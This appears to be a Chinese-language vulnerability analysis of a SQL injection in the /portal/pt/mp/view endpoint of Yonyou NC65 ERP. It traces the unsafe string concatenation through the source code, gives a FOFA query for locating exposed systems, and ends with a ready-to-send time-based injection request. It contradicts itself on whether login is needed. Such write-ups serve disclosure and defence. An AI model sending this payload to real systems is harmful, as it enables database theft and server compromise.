漏洞简介
用友NC是用友网络科技股份有限公司研发的一款大型erp企业管理系统与电子商务平台,专为大中型企业提供企业管理解决方案。它集成了财务、供应链、生产、销售、采购、人力资源等多方面的功能,帮助企业实现数字化管理,提升运营效率。用友NC /mp/view 接口存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
先看漏洞通告描述

漏洞位置出现在 MpAction 的 view 方法里
public void view() throws PortalServiceException {
HttpServletRequest req = this.getRequest();
String systemCode = req.getParameter("pageName");
if (StringUtils.isBlank(systemCode)) {
systemCode = "MP";
LfwLogger.warn("MpAction : param pageName is null, convert to MP ");
}
PtCredentialVO credential = this.getCredentialVO((String)null, systemCode);
用户可控参数 pageName 带入 getCredentialVO 方法
private PtCredentialVO getCredentialVO(String portletId, String systemCode) throws PortalServiceException {
Integer sharelevel = 1;
IUserVO userVO = ((PtSessionBean)LfwRuntimeEnvironment.getLfwSessionBean()).getUser();
String userId = userVO.getUserid();
PtCredentialVO credential = PintServiceFactory.getSsoQryService().getCredentials(userId, portletId, systemCode, sharelevel);
然后又带入 getCredentials 方法,这里需要注意的是有权限检测 LfwRuntimeEnvironment.getLfwSessionBean( ,因此这个漏洞需要登录后进行利用。
public PtCredentialVO getCredentials(String userId, String portletId, String className, Integer sharelevel) throws PortalServiceException {
PtBaseDAO dao = new PtBaseDAO();
try {
PtSlotVO[] slots = this.getSlots(userId, portletId, className, sharelevel);
if (slots != null && slots.length != 0) {
跟进 getSlots 方法
public PtSlotVO[] getSlots(String userId, String portletId, String className, Integer sharelevel) throws PortalServiceException {
if (sharelevel == null) {
sharelevel = 1;
}
StringBuffer slotWhere = new StringBuffer();
slotWhere.append(" sharelevel = ");
slotWhere.append(sharelevel == null ? 1 : sharelevel);
if (null != sharelevel) {
if (sharelevel == 0) {
if (portletId != null && !portletId.trim().equals("")) {
slotWhere.append(" and portletid = '" + portletId + "' ");
}
if (userId != null && !userId.trim().equals("")) {
slotWhere.append(" and userid = '" + userId + "' ");
}
} else if (sharelevel == 1) {
if (className != null && !className.trim().equals("")) {
slotWhere.append(" and classname = '" + className + "' ");
}
在上面的 getCredentialVO 方法里,Integer sharelevel = 1; ,这里判断 className 非空且非null 就直接将其拼接在sql语句中了,造成sql注入漏洞。
漏洞复现
漏洞利用示例
POST /portal/pt/mp/view HTTP/1.1
Host: nc65.mrxn.net
Cookie: 你的cookie
Content-Type: application/x-www-form-urlencoded
pageName=1' AND 1337=DBMS_PIPE.RECEIVE_MESSAGE('any',3)-- 

